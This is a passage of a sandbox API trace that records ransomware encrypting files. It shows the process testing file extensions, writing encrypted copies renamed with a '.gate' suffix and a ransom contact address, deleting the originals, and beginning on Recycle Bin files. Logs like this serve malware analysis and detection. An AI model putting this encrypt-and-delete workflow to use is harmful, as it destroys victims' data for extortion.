Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.531] lstrlenW (lpString=".doc") returned 4 [0321.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.531] lstrlenW (lpString=".docx") returned 5 [0321.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.531] lstrlenW (lpString=".pdf") returned 4 [0321.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.532] lstrlenW (lpString=".xls") returned 4 [0321.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.532] lstrlenW (lpString=".xlsx") returned 5 [0321.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.532] lstrlenW (lpString=".ppt") returned 4 [0321.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.532] lstrlenW (lpString=".zip") returned 4 [0321.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.532] lstrlenW (lpString=".rar") returned 4 [0321.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.532] lstrlenW (lpString=".bz2") returned 4 [0321.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.532] lstrlenW (lpString=".7z") returned 3 [0321.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.532] lstrlenW (lpString=".dbf") returned 4 [0321.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.532] lstrlenW (lpString=".1cd") returned 4 [0321.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.532] lstrlenW (lpString=".jpg") returned 4 [0321.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.532] lstrlenW (lpString=".doc") returned 4 [0321.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.533] lstrlenW (lpString=".docx") returned 5 [0321.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.533] lstrlenW (lpString=".pdf") returned 4 [0321.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.533] lstrlenW (lpString=".xls") returned 4 [0321.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.533] lstrlenW (lpString=".xlsx") returned 5 [0321.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.533] lstrlenW (lpString=".ppt") returned 4 [0321.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.533] lstrlenW (lpString=".zip") returned 4 [0321.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.533] lstrlenW (lpString=".rar") returned 4 [0321.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.533] lstrlenW (lpString=".bz2") returned 4 [0321.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.533] lstrlenW (lpString=".7z") returned 3 [0321.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.533] lstrlenW (lpString=".dbf") returned 4 [0321.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.533] lstrlenW (lpString=".1cd") returned 4 [0321.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.533] lstrlenW (lpString=".jpg") returned 4 [0321.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.534] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.534] lstrlenW (lpString="BD07804_.WMF") returned 12 [0321.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.534] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4924) returned 1 [0321.534] CloseHandle (hObject=0x374) returned 1 [0321.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0321.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.535] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.535] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0321.535] GetLastError () returned 0x0 [0321.535] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x133c, lpOverlapped=0x0) returned 1 [0321.536] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x1340, lpOverlapped=0x0) returned 1 [0321.538] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.538] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.538] SetEndOfFile (hFile=0x38c) returned 1 [0321.538] CloseHandle (hObject=0x38c) returned 1 [0321.538] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.538] SetEndOfFile (hFile=0x374) returned 1 [0321.539] CloseHandle (hObject=0x374) returned 1 [0321.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0321.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.540] lstrlenW (lpString=".doc") returned 4 [0321.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.540] lstrlenW (lpString=".docx") returned 5 [0321.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.540] lstrlenW (lpString=".pdf") returned 4 [0321.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.540] lstrlenW (lpString=".xls") returned 4 [0321.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.540] lstrlenW (lpString=".xlsx") returned 5 [0321.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.540] lstrlenW (lpString=".ppt") returned 4 [0321.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.540] lstrlenW (lpString=".zip") returned 4 [0321.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.541] lstrlenW (lpString=".rar") returned 4 [0321.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.541] lstrlenW (lpString=".bz2") returned 4 [0321.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.541] lstrlenW (lpString=".7z") returned 3 [0321.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.541] lstrlenW (lpString=".dbf") returned 4 [0321.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.541] lstrlenW (lpString=".1cd") returned 4 [0321.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.541] lstrlenW (lpString=".jpg") returned 4 [0321.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.541] lstrlenW (lpString=".doc") returned 4 [0321.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.541] lstrlenW (lpString=".docx") returned 5 [0321.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.541] lstrlenW (lpString=".pdf") returned 4 [0321.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.541] lstrlenW (lpString=".xls") returned 4 [0321.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.541] lstrlenW (lpString=".xlsx") returned 5 [0321.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.541] lstrlenW (lpString=".ppt") returned 4 [0321.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.542] lstrlenW (lpString=".zip") returned 4 [0321.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.542] lstrlenW (lpString=".rar") returned 4 [0321.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.542] lstrlenW (lpString=".bz2") returned 4 [0321.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.542] lstrlenW (lpString=".7z") returned 3 [0321.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.542] lstrlenW (lpString=".dbf") returned 4 [0321.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.542] lstrlenW (lpString=".1cd") returned 4 [0321.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0321.542] lstrlenW (lpString=".jpg") returned 4 [0321.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.542] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.542] lstrlenW (lpString="BD07831_.WMF") returned 12 [0321.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.543] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4066) returned 1 [0321.543] CloseHandle (hObject=0x374) returned 1 [0321.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0321.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.543] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.543] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0321.544] GetLastError () returned 0x0 [0321.544] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0321.545] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xff0, lpOverlapped=0x0) returned 1 [0321.546] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.546] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.546] SetEndOfFile (hFile=0x38c) returned 1 [0321.546] CloseHandle (hObject=0x38c) returned 1 [0321.546] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.546] SetEndOfFile (hFile=0x374) returned 1 [0321.547] CloseHandle (hObject=0x374) returned 1 [0321.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0321.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.548] lstrlenW (lpString=".doc") returned 4 [0321.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.548] lstrlenW (lpString=".docx") returned 5 [0321.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.548] lstrlenW (lpString=".pdf") returned 4 [0321.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.548] lstrlenW (lpString=".xls") returned 4 [0321.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.548] lstrlenW (lpString=".xlsx") returned 5 [0321.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.548] lstrlenW (lpString=".ppt") returned 4 [0321.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.549] lstrlenW (lpString=".zip") returned 4 [0321.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.549] lstrlenW (lpString=".rar") returned 4 [0321.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.549] lstrlenW (lpString=".bz2") returned 4 [0321.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.549] lstrlenW (lpString=".7z") returned 3 [0321.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.549] lstrlenW (lpString=".dbf") returned 4 [0321.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.549] lstrlenW (lpString=".1cd") returned 4 [0321.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.549] lstrlenW (lpString=".jpg") returned 4 [0321.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.549] lstrlenW (lpString=".doc") returned 4 [0321.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.549] lstrlenW (lpString=".docx") returned 5 [0321.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.549] lstrlenW (lpString=".pdf") returned 4 [0321.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.549] lstrlenW (lpString=".xls") returned 4 [0321.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.550] lstrlenW (lpString=".xlsx") returned 5 [0321.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.550] lstrlenW (lpString=".ppt") returned 4 [0321.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.550] lstrlenW (lpString=".zip") returned 4 [0321.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.550] lstrlenW (lpString=".rar") returned 4 [0321.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.550] lstrlenW (lpString=".bz2") returned 4 [0321.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.550] lstrlenW (lpString=".7z") returned 3 [0321.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.550] lstrlenW (lpString=".dbf") returned 4 [0321.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.550] lstrlenW (lpString=".1cd") returned 4 [0321.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0321.550] lstrlenW (lpString=".jpg") returned 4 [0321.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.550] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.551] lstrlenW (lpString="BD08758_.WMF") returned 12 [0321.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.551] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=24320) returned 1 [0321.551] CloseHandle (hObject=0x374) returned 1 [0321.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0321.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.551] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.551] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0321.552] GetLastError () returned 0x0 [0321.552] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x5f00, lpOverlapped=0x0) returned 1 [0322.004] WriteFile (hFile=0x38c, lpBuffer=0x3b27020, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0) Thread: id = 99 os_tid = 0xc2c [0318.000] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x568ee0 [0318.000] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x578ee8 [0318.001] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed9b8 [0318.001] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e5a88 [0318.001] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed940 [0318.001] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3c35020 [0318.003] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed6e8 [0318.003] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed6e8, Size=0x20) returned 0x4e9630 [0318.003] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed958 [0318.003] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed958, Size=0x20) returned 0x4e97e8 [0318.003] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.003] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.003] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff50 | out: OldValue=0x314ff50*=0x0) returned 1 [0318.003] lstrlenW (lpString="kernel32.dll") returned 12 [0318.003] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0318.003] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.003] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e97e8 | out: hHeap=0x490000) returned 1 [0318.003] Sleep (dwMilliseconds=0x64) [0318.280] lstrcmpiW (lpString1=".ini", lpString2=".gate") returned 1 [0318.280] lstrlenW (lpString="desktop.ini") returned 11 [0318.280] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 